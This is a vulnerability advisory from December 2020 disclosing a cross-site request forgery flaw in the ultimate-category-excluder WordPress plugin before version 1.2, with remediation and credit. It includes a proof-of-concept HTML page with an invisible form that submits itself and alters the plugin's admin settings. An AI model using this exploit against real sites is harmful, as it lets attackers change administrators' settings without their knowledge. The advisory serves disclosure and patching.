CSRF In Ultimate-Category-Excluder Wordpress Plugin

WORDPRESS CSRF

Yaniv Nizry Dec 8, 2020

Details Overview

Summary

Affected versions of the ultimate-category-excluder WordPress plugin are vulnerable to a Cross-Site Request Forgery (CSRF) attack in the page `ultimate-category-excluder.php`.

Product

ultimate-category-excluder wordpress plugin before 1.2

Impact

An admins that visits a malicious site could change The ultimate-category-excluder setting without his/her knowledge.

Steps To Reproduce

1. Wordpress with vulnerable ultimate-category-excluder plugin installed
2. Admin visits the page:

```
<html><head></head>
<body>
<form style="opacity: 0;" action="http://[wordpress_url]/wp-admin/options-general.php?page=ultimate-category-e
<input type="text" name="exclude_main[]" value="-1" />
<input type="text" name="exclude_feed[]" value="-1" />
<input type="text" name="exclude_search[]" value="-1" />
<input type="number" name="exclude_archives[]" value='-1' />
<input type="text" name="ksuce" value="true" />
<button>submit</button>
</form>

<script>document.querySelector('form').submit();</script>
</body></html>
```

Expected Result:

Admin setting page will change according to the attacker's input.

Remediation

Update ultimate-category-excluder to 1.2 or above.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher Yaniv Nizry.

Resources

1. Changeset